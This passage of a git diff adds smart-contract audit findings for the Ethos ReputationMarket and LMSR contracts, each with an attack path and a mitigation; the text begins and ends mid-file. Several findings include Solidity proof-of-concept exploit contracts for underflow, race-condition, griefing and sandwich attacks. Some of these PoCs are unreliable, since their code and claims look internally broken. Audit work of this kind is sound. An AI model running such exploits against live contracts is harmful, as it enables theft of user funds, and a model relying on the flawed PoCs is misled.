MarketConfig) public marketConfigs; + uint256 public nextConfigId; + + function addMarketConfig(...) public { + marketConfigs[nextConfigId] = MarketConfig(...); + nextConfigId++; + } + ``` + +- **Avoid Index-Based References**: Modify functions like `createMarketWithConfig` to accept the unique identifier instead of an index. + + ```solidity + function createMarketWithConfig(uint256 configId) public { + MarketConfig storage config = marketConfigs[configId]; + require(config.liquidity != 0, "Invalid config"); + // Proceed to create market + } + ``` + +- **Mark Configurations as Inactive**: Instead of removing configurations and shifting indices, mark configurations as inactive (e.g., by adding an `active` flag). This preserves indices and allows checks for active configurations. + + ```solidity + struct MarketConfig { + uint256 liquidity; + uint256 basePrice; + uint256 creationCost; + bool active; + } + + function removeMarketConfig(uint256 configIndex) public { + marketConfigs[configIndex].active = false; + } + ``` \ No newline at end of file diff --git a/048.md b/048.md new file mode 100644 index 0000000..44236ad --- /dev/null +++ b/048.md @@ -0,0 +1,75 @@ +Orbiting Walnut Ant + +Medium + +# A compromised address can keep selling votes + +### Summary + +A missing `verifiedProfileIdForAddress` check in [`ReputationMarket::sellVote`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539) will allow an attacker to sell votes with a compromised address. + +### Root Cause + +The function `sellVotes` allows to sell trust or distrust votes from a market. The proceeds are then sent to the seller after fees. In case when a user's private key is stolen, an attacker can call this function to retrieve funds on behalf of the legitimate user. The protocol gives user the possibility to mark an address as compromised as fast as possible by calling [`deleteAddress`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L407), however, it won't stop the attacker from acquiring user's funds by selling votes as the `msg.sender` is never checked if it were compromised. In addition, all votes owned by a user are recorded inside the array `votesOwned` without being able to transfer them to a new address. As a result, when a market is graduated and the conversion is implemented, user position will be at risk as the equivalent ERC-20 tokens will still be transferred to the compromised address. + +### Internal Pre-conditions + +An address is marked as compromised by the protocol. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker steals Alice's private key +2. Alice detects it and calls [`deleteAddress`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L407) immediately in order to revoke the compromised address +3. Attacker can keep selling all votes (trust or distrust) and withdrawing all donations from a market possessed by Alice + +### Impact + +The protocol can't properly protect users in case of compromised addresses even if the address has been declared compromised. This results in fund losses and user frustration as the attacker is able to gain access to restricted operations. + +### PoC + +_No response_ + +### Mitigation + +Add the `verifiedProfileIdForAddress` check in the `sellVotes` function. The following diff can be applied to the function `sellVotes` in the file `ReputationMarket.sol`: + + +```diff + + +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); ++ uint256 senderProfileId = _ethosProfileContract().verifiedProfileIdForAddress(msg.sender); ++ if (senderProfileId != profileId) revert InvalidProfileId(); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + +__snip____snip____snip____snip____snip____snip____snip____snip____snip____snip____snip__ + + +``` +In addition, the protocol should introduce a new function to migrate votes owned by a compromised address inside the array [`votesOwned`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L559) to a new one. + +Note that when detecting a compromised address, user must call [`updateDonationRecipient`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L621) as soon as possible in order to transfer any existing donation balance from the compromised address to a new one before the attacker's call to ['withdrawDonations'](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L651C12-L651C29). The attacker can also call `buyVotes` using the compromised address, however, there is no incentive for him to do so. As a recommendation, the `verifiedProfileIdForAddress` check can also be added to the functions `updateDonationRecipient` and `buyVotes`. + diff --git a/049.md b/049.md new file mode 100644 index 0000000..7e30ba4 --- /dev/null +++ b/049.md @@ -0,0 +1,59 @@ +Ambitious Cotton Hyena + +Medium + +# Rounding Directions can result in Taking the initial liquidity + +## Summary +Rounding to `Ceil` every time we buy or sell disVotes can result in selling with a price greater than the amount of buying. + +## Description +When calculating the cost of votes/disVotes to buy or sell we round to `Ceil` in case of disVotes. + +[ReputationMarket.sol#L1054-L1058](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054-L1058) +```solidity + function _calcCost( ... ) private pure returns (uint256 cost) { + ... + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +>> isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } +``` + +In most cases Rounding to Ceil in case of disVotes and Floor in case of Votes should be OK. But the problem of rounding issues can result in selling with price greater than buying in some situations. + +In case we bought a bunch of votes at a time like `4, 5, 6, ...` where the total price we pay makes the last number end with `0`, we will not pay an excess amount from rounding that case. + +Since we multiply the `basePrice` by the costRatio, then divide by `1e18` in case of ending costRation by `0` this can make Rounding to Ciel process not occur as the number will end up being zero. This will make user not pay much when buying disVotes + +Now in the case of selling where we sold only part of disVotes we bought the price of each can not end with `0`, so when calculating the price the Rounding will go up, resulting in user taking more money. If the user sold the amount of disVotes he bought one by one, rounding direction will be to `Ciel` which will make the total amount taken when selling > the amount of buying results in taking a part of initial liquidity which should not occur according to README. +> The contract must never pay out the initial liquidity deposited as part of trading. The only way to access those funds is to graduate the market. + +The process can occur in the opposite direction for votes. Buying votes 1 by 1 where the rounding is `Floor` favors the user, and when selling them as one punch, in case the total value ends with zero, no Rounding effect will occur, which will result in taking money more than paid for these votes. + +The Impact is not only excess `wei/s` is removed from the contract, breaking invariant. The `initial liquidity` can be zero in some situations, where markets created by admins do not check `msg.value` against creationCost. + +> ReputationMarket::_createMarket() +```solidity + uint256 creationCost = marketConfigs[marketConfigIndex].creationCost; + + // Handle creation cost, refunds and market funds for non-admin users + if (!hasRole(ADMIN_ROLE, msg.sender)) { + if (msg.value < creationCost) revert InsufficientLiquidity(creationCost); + marketFunds[profileId] = creationCost; + if (msg.value > creationCost) { + _sendEth(msg.value - creationCost); + } + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent +>> marketFunds[profileId] = msg.value; + } +``` + +So in case markets are created with Admins with 0 initial liquidity, this issue can result in the last withdrawal being unable to withdraw as subtracting MarketFunds this way will result in an underflow error. + +## Recommendations +Make rounding buy/sell dependent instead of vote/disVote dependent, where when buying we round UP and when selling we round DOWN, so that users pay much when buying and earn less when selling, this will ensure no money getting out of the contract. + diff --git a/050.md b/050.md new file mode 100644 index 0000000..54afca8 --- /dev/null +++ b/050.md @@ -0,0 +1,144 @@ +Glamorous Canvas Camel + +Medium + +# Improper Use of `getRoleMember` in `updateOwner` May Lead to Incorrect Owner Role Revocation + +### Summary + +The `ReputationMarket` contract, which inherits from `AccessControl`, uses the `updateOwner` function to transfer ownership. This function relies on `getRoleMember(OWNER_ROLE, 0)` to identify the current owner for role revocation. However, the `AccessControlEnumerableUpgradeable` contract from OpenZeppelin specifies that role members are not stored in any particular order, and their ordering may change. This means that `getRoleMember(OWNER_ROLE, 0)` may not reliably return the current owner (`msg.sender`), leading to improper revocation of the owner role from unintended addresses. This can result in ownership mismanagement, unauthorized access, or loss of control over sensitive functions in the `ReputationMarket` contract. + +### Root Cause + +the `updateOwner` function is implemented as follows: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L4 + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/utils/AccessControl.sol#L106C1-L109C4 + + +```solidity +function updateOwner(address owner) external onlyOwner { + _revokeRole(OWNER_ROLE, getRoleMember(OWNER_ROLE, 0)); + _grantRole(OWNER_ROLE, owner); +} +``` + +This function assumes that: + +1. There is only one address with the `OWNER_ROLE`. +2. The owner is always at index `0` in the list of role members. + +However, the `AccessControlEnumerableUpgradeable` contract (from OpenZeppelin) used by `AccessControl` manages role members using an `EnumerableSet`, which does not guarantee any specific ordering of elements. The relevant part of the OpenZeppelin code is: + +```solidity +/** + * @dev Returns one of the accounts that have `role`. `index` must be a + * value between 0 and {getRoleMemberCount}, non-inclusive. + * + * Role bearers are not sorted in any particular way, and their ordering may + * change at any point. + * + * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure + * you perform all queries on the same block. See the following + * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] + * for more information. + */ +function getRoleMember(bytes32 role, uint256 index) public view virtual returns (address) { + AccessControlEnumerableStorage storage $ = _getAccessControlEnumerableStorage(); + return $._roleMembers[role].at(index); +} +``` + +The key point is that **"Role bearers are not sorted in any particular way, and their ordering may change at any point."** + +Therefore, using `getRoleMember(OWNER_ROLE, 0)` does not reliably return the current owner (`msg.sender`). If multiple addresses have the `OWNER_ROLE`, the address at index `0` may not be the caller. This can lead to revoking the owner role from an unintended address. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + + +1. **Multiple Owners**: Assume multiple addresses hold the `OWNER_ROLE` due to prior role assignments. +2. **Ownership Transfer Attempt**: An owner (`Owner1`) calls `updateOwner(newOwnerAddress)` to transfer ownership. +3. **Incorrect Role Revocation**: The function revokes the `OWNER_ROLE` from the address at index `0`, which might not be `Owner1`, but another owner (`Owner2`). +4. **Ownership Mismanagement**: + - `Owner1` still retains the `OWNER_ROLE`. + - `Owner2` loses the `OWNER_ROLE` unexpectedly. + - The new owner (`newOwnerAddress`) gains the `OWNER_ROLE`. +5. **Potential Unauthorized Access**: Unintended addresses may retain owner privileges, leading to unauthorized access to sensitive functions in `ReputationMarket`, such as upgrading the contract via `_authorizeUpgrade`: + + ```solidity + function _authorizeUpgrade( + address newImplementation + ) internal override onlyOwner onlyNonZeroAddress(newImplementation) { + // Intentionally left blank to ensure onlyOwner and zeroCheck modifiers run + } + ``` + +--- + +### Impact + + +- **Ownership Mismanagement**: Ownership transfer may not work as intended, leading to multiple owners or loss of control by the intended owner. +- **Unauthorized Access**: Addresses that should no longer have the `OWNER_ROLE` may retain it, allowing them to perform sensitive operations. + +### PoC + + +1. **Setup**: Two addresses, `Owner1` and `Owner2`, hold the `OWNER_ROLE`: + + ```solidity + // Both Owner1 and Owner2 have been granted OWNER_ROLE + ``` + +2. **Ownership Transfer Attempt**: `Owner1` tries to transfer ownership to `NewOwner`: + + ```solidity + reputationMarket.updateOwner(newOwnerAddress); + ``` + +3. **Function Execution in `AccessControl`**: + + ```solidity + function updateOwner(address owner) external onlyOwner { + // Revokes OWNER_ROLE from the address at index 0 (could be Owner2) + _revokeRole(OWNER_ROLE, getRoleMember(OWNER_ROLE, 0)); + _grantRole(OWNER_ROLE, owner); // Grants OWNER_ROLE to NewOwner + } + ``` + +4. **Outcome**: + + - `Owner2` (at index `0`) loses the `OWNER_ROLE`. + - `Owner1` retains the `OWNER_ROLE`. + - `NewOwner` gains the `OWNER_ROLE`. + - This results in `Owner1` and `NewOwner` both having the `OWNER_ROLE`, which may not be intended. + +5. **Resulting Issues**: + + - `Owner1` did not lose their owner privileges. + - `Owner2` lost ownership unintentionally. + - Potential for unauthorized actions by unintended owners. + + +### Mitigation + +Modify the `updateOwner` function to revoke the `OWNER_ROLE` from the caller (`msg.sender`) instead of using `getRoleMember`: + + ```solidity + function updateOwner(address owner) external onlyOwner { + _revokeRole(OWNER_ROLE, msg.sender); + _grantRole(OWNER_ROLE, owner); + } + ``` + + This ensures that the owner transferring ownership loses their privileges, and the new owner gains them. \ No newline at end of file diff --git a/051.md b/051.md new file mode 100644 index 0000000..32afe0d --- /dev/null +++ b/051.md @@ -0,0 +1,50 @@ +Dazzling Sapphire Newt + +Medium + +# Missing Check for Non-Zero Liquidity Parameter in LMSR.sol + +### Summary + +The missing check in LMSR.sol for b != 0 will cause an unexpected revert for users as they attempt to call functions like getOdds or getCost when liquidityParameter is 0, because PRBMath (or raw division) will revert without a clear message. + +### Root Cause + +In +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L169-L173 + +`/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L169-L173` + +```solidity +UD60x18 b = convert(liquidityParameter); +UD60x18 yesRatio = yesUD.div(b); +UD60x18 noRatio = noUD.div(b); +``` + the choice to rely on PRBMath’s division to revert is a mistake as it does not provide an explicit check or custom error when liquidityParameter == 0. This can lead to unexpected behavior or less informative error messages. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +- The related role sets liquidityParameter = 0. +- A user calls a function in the main contract that invokes LMSR.getOdds(...) or LMSR.getCost(...). +- The code inside LMSR does UD60x18.div(...) or exp(...) with b = 0. +- PRBMath reverts internally due to division by zero, giving a generic revert message instead of a clear, custom error. + +### Impact + +The affected party (end users) cannot execute trades or view correct odds in the LMSR-based market if liquidityParameter is zero. + +### PoC + +_No response_ + +### Mitigation + +Add an explicit check for b != 0 (i.e., liquidityParameter != 0) at the very start of each relevant function or in a shared internal function. Revert with a custom error (e.g., InvalidLiquidityParameter()) to give a clear and immediate explanation if the caller or an admin inadvertently sets liquidityParameter to zero. \ No newline at end of file diff --git a/052.md b/052.md new file mode 100644 index 0000000..117d868 --- /dev/null +++ b/052.md @@ -0,0 +1,42 @@ +Amusing Plastic Fox + +Medium + +# A user can have less votes than minimum votes that he specified + +### Summary + +A user can have fewer votes than the specified minimum if they set a maxVotes value that is lower than the minimum number of votes. + +### Root Cause + +In `buyVotes`, there is no check to ensure that maxVotesToBuy is greater than minVotesToBuy, as we can see here : +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L449 +which means the purchased votes will be less than or equal to maxVotesToBuy and, therefore, less than minVotesToBuy as we can see here : +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L452-L467 + +### Internal Pre-conditions + +None. + +### External Pre-conditions + +None. + +### Attack Path + +1. Bob wants to buy some votes from a market. +2. He want to disable the maxvotes so he set the maxVotesToBuy to 0. +3. He get absolutely no votes from the call. + +### Impact + +The user will not get the votes he wants. + +### PoC + +_No response_ + +### Mitigation + +Add a check with a custom error that will ensure that the minimum is less than the maximum of votes. \ No newline at end of file diff --git a/053.md b/053.md new file mode 100644 index 0000000..af99e9b --- /dev/null +++ b/053.md @@ -0,0 +1,102 @@ +Fun Crepe Lobster + +High + +# Critical: Integer Underflow in LMSR Cost Calculation Can Lead to Incorrect Fund Distribution + +### Summary + +Unsafe conversion from uint256 to int256 in LMSR.getCost() will cause a funds distribution vulnerability for the protocol as malicious users will exploit integer underflow by creating and selling large vote positions, leading to incorrect cost calculations and excess fund withdrawals. + +#### Vulnerability Detail +The function converts the difference between two uint256 costs to int256 without proper bounds checking: + +[LMSR.sol:L116-L120](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/utils/LMSR.sol#L116-L120) +```solidity +uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); +uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter); +costDiff = int256(newCost) - int256(oldCost); + +### Root Cause + +In [LMSR.sol:L116-L120](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/utils/LMSR.sol#L116-L120) the direct conversion of uint256 to int256 in getCost() without bounds checking allows for integer underflow when calculating large cost differences. + +### Internal Pre-conditions + +1. Market state needs to have yes votes to be at least 100,000 +2. Market's liquidityParameter needs to be exactly 1000 +3. Market's base price needs to be at least 0.01 ether as set in DEFAULT_PRICE +4. Market funds in contract need to be sufficient to cover the sell transaction + +### External Pre-conditions + +1. ETH value needs to remain stable during transaction execution +2. Network gas price needs to be low enough to execute all required state changes within block gas limit + +### Attack Path + +1. Attacker calls buyVotes() with isPositive=true and maxVotesToBuy=100000 +2. Attacker waits for transaction confirmation +3. Attacker calls sellVotes() with the following parameters: + - isPositive=true + - votesToSell=99999 + - minimumVotePrice set very low to ensure transaction success +4. Due to integer underflow in getCost(), contract calculates incorrect cost difference +5. Attacker receives more funds than they should due to incorrect calculation + +### Impact + +The protocol suffers an approximate loss of user deposits equal to the difference between correct and underflowed cost calculation (potentially multiple ETH). The attacker gains this excess amount from the protocol's market funds, which should have been locked until market graduation. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {LMSR} from "./utils/LMSR.sol"; + +contract LMSRExploit { + function exploitUnderflow() public pure returns (int256) { + uint256 liquidityParameter = 1000; + + // Initial state: Large imbalance in votes + uint256 currentYesVotes = 100000; + uint256 currentNoVotes = 1; + + // New state: Selling almost all yes votes + uint256 newYesVotes = 1; + uint256 newNoVotes = 1; + + // This call will underflow due to large difference between old and new cost + int256 costDiff = LMSR.getCost( + currentYesVotes, + currentNoVotes, + newYesVotes, + newNoVotes, + liquidityParameter + ); + + return costDiff; // Will return an incorrect negative value + } +} + +// Test script +async function testExploit() { + const LMSRExploit = await ethers.getContractFactory("LMSRExploit"); + const exploit = await LMSRExploit.deploy(); + + const result = await exploit.exploitUnderflow(); + console.log("Cost difference:", result.toString()); + // Will show a large negative number due to underflow +} + +### Mitigation + +function getCost(...) public pure returns (int256 costDiff) { + uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); + uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter); + require(oldCost <= type(uint256).max >> 1 && newCost <= type(uint256).max >> 1, + "Cost exceeds safe bounds"); + costDiff = int256(newCost) - int256(oldCost); +} \ No newline at end of file diff --git a/054.md b/054.md new file mode 100644 index 0000000..a30a387 --- /dev/null +++ b/054.md @@ -0,0 +1,137 @@ +Fun Crepe Lobster + +Medium + +# Malicious users will permanently lock donation rewards through race condition in updateDonationRecipient + +### Summary + +Missing donation transition handling in updateDonationRecipient() will cause fund locking vulnerability for market owners as malicious users will exploit transaction timing to trap new donations in inaccessible escrow accounts during recipient updates. + +### Root Cause + +In [ReputationMarket.sol:L510-L512](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/ReputationMarket.sol#L510-L512) the atomic update of donation recipient and balance transfer causes race condition with incoming donations, leading to trapped funds. + +### Internal Pre-conditions + +1. Original donation recipient needs to call updateDonationRecipient() to set donationEscrow[oldRecipient] to be at least 1 ETH +2. Protocol admin needs to ensure donationBasisPoints to be greater than 0 +3. Market creator needs to set donationRecipient[profileId] to be exactly the oldRecipient address +4. System needs to set donationEscrow[newRecipient] to be exactly 0 + +### External Pre-conditions + +1. Transaction needs to be mined within 2 blocks of the updateDonationRecipient call +2. Front-running transaction needs to generate at least 0.1 ETH in donations + +### Attack Path + +1. Attacker calls buyVotes() with large position to generate pending donations +2. Original recipient calls updateDonationRecipient() with new recipient address +3. System processes donation update zeroing old balance +4. System processes pending donations to old recipient address +5. Original recipient loses access to new donations + +### Impact + +The market owner suffers an approximate loss of 0.1-1 ETH in stuck donations. The attacker doesn't gain these funds but causes them to be permanently locked (griefing attack). + +### PoC + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {ReputationMarket} from "./ReputationMarket.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +contract DonationRecipientExploit { + ReputationMarket public market; + + constructor(address _market) { + market = ReputationMarket(_market); + } + + function exploit(uint256 profileId, address oldRecipient, address newRecipient) external payable { + // Step 1: Front-run with large vote purchase to generate pending donations + market.buyVotes{value: 10 ether}( + profileId, + true, // isPositive + 1000, // maxVotesToBuy + 1 // minVotesToBuy + ); + + // Step 2: Original recipient updates donation recipient + // This would be called by the original recipient in a separate tx + vm.prank(oldRecipient); + market.updateDonationRecipient(profileId, newRecipient); + + // Step 3: Check balances + uint256 oldRecipientBalance = market.donationEscrow(oldRecipient); + uint256 newRecipientBalance = market.donationEscrow(newRecipient); + + console.log("Old recipient balance:", oldRecipientBalance); + console.log("New recipient balance:", newRecipientBalance); + + // Any donations from Step 1 that were processed after the recipient update + // will be stuck in oldRecipient's escrow + require(oldRecipientBalance > 0, "Exploit failed - no stuck donations"); + } +} + +// Test script +contract DonationRecipientTest is Test { + ReputationMarket market; + DonationRecipientExploit exploiter; + address oldRecipient = address(0x1); + address newRecipient = address(0x2); + uint256 profileId = 1; + + function setUp() public { + // Deploy and setup market contract + market = new ReputationMarket(); + market.initialize(address(this), address(this), address(0), address(0), address(0)); + + // Setup market with donations enabled + market.setDonationBasisPoints(500); // 5% + market.createMarket{value: 1 ether}(); + + // Deploy exploiter + exploiter = new DonationRecipientExploit(address(market)); + } + + function testExploit() public { + // Initial donation to old recipient + vm.deal(address(exploiter), 10 ether); + + exploiter.exploit{value: 10 ether}(profileId, oldRecipient, newRecipient); + + // Verify old recipient has stuck donations + uint256 stuckDonations = market.donationEscrow(oldRecipient); + assertTrue(stuckDonations > 0, "No donations were stuck"); + console.log("Stuck donations:", stuckDonations); + } +} + +### Mitigation + +mapping(uint256 => UpdateRequest) public pendingUpdates; +uint256 constant UPDATE_DELAY = 1 days; + +struct UpdateRequest { + address newRecipient; + uint256 requestTime; +} + +function requestDonationRecipientUpdate(uint256 profileId, address newRecipient) public { + // ... existing checks ... + pendingUpdates[profileId] = UpdateRequest({ + newRecipient: newRecipient, + requestTime: block.timestamp + }); +} + +function executeDonationRecipientUpdate(uint256 profileId) public { + UpdateRequest memory request = pendingUpdates[profileId]; + require(block.timestamp >= request.requestTime + UPDATE_DELAY, "Update not ready"); + // ... execute update ... +} \ No newline at end of file diff --git a/055.md b/055.md new file mode 100644 index 0000000..27e7cc8 --- /dev/null +++ b/055.md @@ -0,0 +1,142 @@ +Fun Crepe Lobster + +Medium + +# Malicious actors will block market graduations through precision-based race conditions + +### Summary + +Lack of minimum notice period in market graduation will cause denial of service for market participants as malicious actors will manipulate graduation timing to trap user funds through precision-based race conditions. + +### Root Cause + +In [ReputationMarket.sol:L605-L607](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/ReputationMarket.sol#L605-L607) the market graduation executes immediately without a waiting period, allowing abrupt state changes that can trap user transactions in flight. + +### Internal Pre-conditions + +1. Market owner needs to set market state to be active (not graduated) +2. Market needs to have total funds to be at least 1 ETH +3. Authorized graduation contract needs to be set in contractAddressManager + +### External Pre-conditions + +1. Market graduation transaction needs to be mined within same block as user trade +2. Trade transaction needs to involve at least 0.1 ETH in value + +### Attack Path + +1. Attacker monitors mempool for large market trades +2. Attacker identifies pending trade transaction +3. Authorized contract calls graduateMarket() targeting same block +4. Market graduates before trade completes +5. User transaction fails due to market state change + +### Impact + +The traders suffer an approximate loss of gas fees (0.01-0.05 ETH per failed transaction). The attacker doesn't gain these funds but disrupts market operations (griefing). + +### PoC + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {ReputationMarket} from "./ReputationMarket.sol"; +import {Test} from "forge-std/Test.sol"; + +contract GraduationExploitTest is Test { + ReputationMarket public market; + address public trader = address(0x1); + address public graduationContract = address(0x2); + uint256 public profileId = 1; + + function setUp() public { + // Deploy and setup market + market = new ReputationMarket(); + market.initialize( + address(this), // owner + address(this), // admin + address(0), // signer + address(0), // verifier + address(this) // contract manager + ); + + // Setup graduation contract + vm.mockCall( + address(this), + abi.encodeWithSignature("getContractAddressForName(string)"), + abi.encode(graduationContract) + ); + + // Create market and add funds + market.createMarket{value: 5 ether}(); + + // Fund trader + vm.deal(trader, 10 ether); + } + + function testGraduationRaceCondition() public { + // Step 1: Setup pending trade + vm.startPrank(trader); + bytes memory tradeCalldata = abi.encodeWithSelector( + market.buyVotes.selector, + profileId, + true, // isPositive + 1000, // maxVotesToBuy + 1 // minVotesToBuy + ); + + // Step 2: Prepare graduation transaction + bytes memory graduateCalldata = abi.encodeWithSelector( + market.graduateMarket.selector, + profileId + ); + + // Step 3: Execute race condition + vm.stopPrank(); + vm.prank(graduationContract); + + // Graduate market in same block as trade + vm.roll(block.number + 1); + market.graduateMarket(profileId); + + // Try to execute trade after graduation + vm.prank(trader); + (bool success,) = address(market).call{value: 1 ether}(tradeCalldata); + + // Verify trade failed + assertFalse(success, "Trade should have failed after graduation"); + + // Verify funds are stuck + uint256 marketFunds = market.marketFunds(profileId); + assertTrue(marketFunds > 0, "Market should have trapped funds"); + + console.log("Trapped funds in market:", marketFunds); + } +} + +### Mitigation + +mapping(uint256 => uint256) public graduationNotices; +uint256 constant GRADUATION_NOTICE_PERIOD = 1 days; + +function announceGraduation(uint256 profileId) public { + address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); + if (msg.sender != authorizedAddress) revert UnauthorizedGraduation(); + + graduationNotices[profileId] = block.timestamp; + emit GraduationAnnounced(profileId); +} + +function graduateMarket(uint256 profileId) public whenNotPaused activeMarket(profileId) nonReentrant { + require( + graduationNotices[profileId] > 0 && + block.timestamp >= graduationNotices[profileId] + GRADUATION_NOTICE_PERIOD, + "Graduation notice period not elapsed" + ); + + address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); + if (msg.sender != authorizedAddress) revert UnauthorizedGraduation(); + + graduatedMarkets[profileId] = true; + emit MarketGraduated(profileId); +} \ No newline at end of file diff --git a/056.md b/056.md new file mode 100644 index 0000000..2fa17cb --- /dev/null +++ b/056.md @@ -0,0 +1,143 @@ +Fun Crepe Lobster + +High + +# Malicious actors will steal funds through vote price manipulation sandwiching + +### Summary + +Insufficient slippage time validation in sellVotes() will cause financial loss for traders as attackers will sandwich vote sales with large opposing trades to manipulate execution prices. + +### Root Cause + +In [ReputationMarket.sol:L333-L336](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/ReputationMarket.sol#L333-L336) the slippage check occurs before state updates and doesn't account for sandwich attacks through the LMSR curve manipulation. + +### Internal Pre-conditions + +1. Market needs to have total votes to be at least 1000 per side +2. Liquidity parameter needs to be set to default 100 +3. Market needs to be active (not graduated +4. Target seller needs to own at least 100 votes + +### External Pre-conditions + +1. Network must allow same-block transaction ordering (MEV) +2. Gas price needs to allow for profitable sandwich execution + +### Attack Path + +1. Attacker monitors mempool for sellVotes transactions +2. Attacker identifies victim sell transaction with minimumVotePrice +3. Attacker front-runs with large buy to push price up +4. Victim transaction executes with manipulated price check +5. Attacker back-runs with large sell to profit from price movement + +### Impact + +The traders suffer an approximate loss of 20-50% on their sell transactions due to price manipulation. The attacker gains this spread minus gas costs through the sandwich attack. + +### PoC + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {ReputationMarket} from "./ReputationMarket.sol"; +import {Test} from "forge-std/Test.sol"; + +contract VoteSandwichExploit is Test { + ReputationMarket public market; + address public attacker = address(0x1); + address public victim = address(0x2); + uint256 public profileId = 1; + + function setUp() public { + // Deploy and setup market + market = new ReputationMarket(); + market.initialize( + address(this), + address(this), + address(0), + address(0), + address(this) + ); + + // Create market and initial liquidity + market.createMarket{value: 5 ether}(); + + // Setup victim with votes to sell + vm.startPrank(victim); + market.buyVotes{value: 1 ether}( + profileId, + true, // isPositive + 100, // votes to buy + 1 // minVotes + ); + vm.stopPrank(); + + // Fund attacker + vm.deal(attacker, 10 ether); + } + + function testSandwichAttack() public { + // Step 1: Record initial price + uint256 initialPrice = market.getVotePrice(profileId, true); + + // Step 2: Front-run with large buy + vm.startPrank(attacker); + market.buyVotes{value: 5 ether}( + profileId, + true, + 5000, + 1 + ); + + // Step 3: Victim tries to sell with old price as minimum + vm.startPrank(victim); + bytes memory sellCalldata = abi.encodeWithSelector( + market.sellVotes.selector, + profileId, + true, + 100, + initialPrice + ); + + // Execute victim's sell + (bool success,) = address(market).call(sellCalldata); + assertTrue(success, "Victim sell should succeed with manipulated price"); + + // Step 4: Back-run with large sell + vm.startPrank(attacker); + market.sellVotes( + profileId, + true, + 5000, + 0 // No slippage protection for attacker + ); + + // Verify profit + uint256 finalPrice = market.getVotePrice(profileId, true); + assertTrue(finalPrice < initialPrice, "Price should be lower after attack"); + + console.log("Initial price:", initialPrice); + console.log("Final price:", finalPrice); + console.log("Price impact:", ((initialPrice - finalPrice) * 100) / initialPrice, "%"); + } +} + +### Mitigation + +mapping(address => uint256) public lastTradeBlock; +uint256 constant MIN_BLOCKS_BETWEEN_TRADES = 5; + +modifier enforceTradeDelay() { + require( + block.number >= lastTradeBlock[msg.sender] + MIN_BLOCKS_BETWEEN_TRADES, + "Must wait minimum blocks between trades" + ); + _; + lastTradeBlock[msg.sender] = block.number; +} + +function sellVotes(...) public enforceTradeDelay { + // existing implementation +} \ No newline at end of file diff --git a/057.md b/057.md new file mode 100644 index 0000000..1c6591b --- /dev/null +++ b/057.md @@ -0,0 +1,103 @@ +Decent Currant Halibut + +High + +# `LMSR:: _cost()` Precision Loss and Incorrect unwarapping from `UD60x18` back to `uint256` + +### Summary + +The `LMSR:: _cost()` function loses precision and incorrectly scales the result. This is caused by the multiplication after unwrapping from `UD60x18` to `uint256`. When unwrapping, the precision 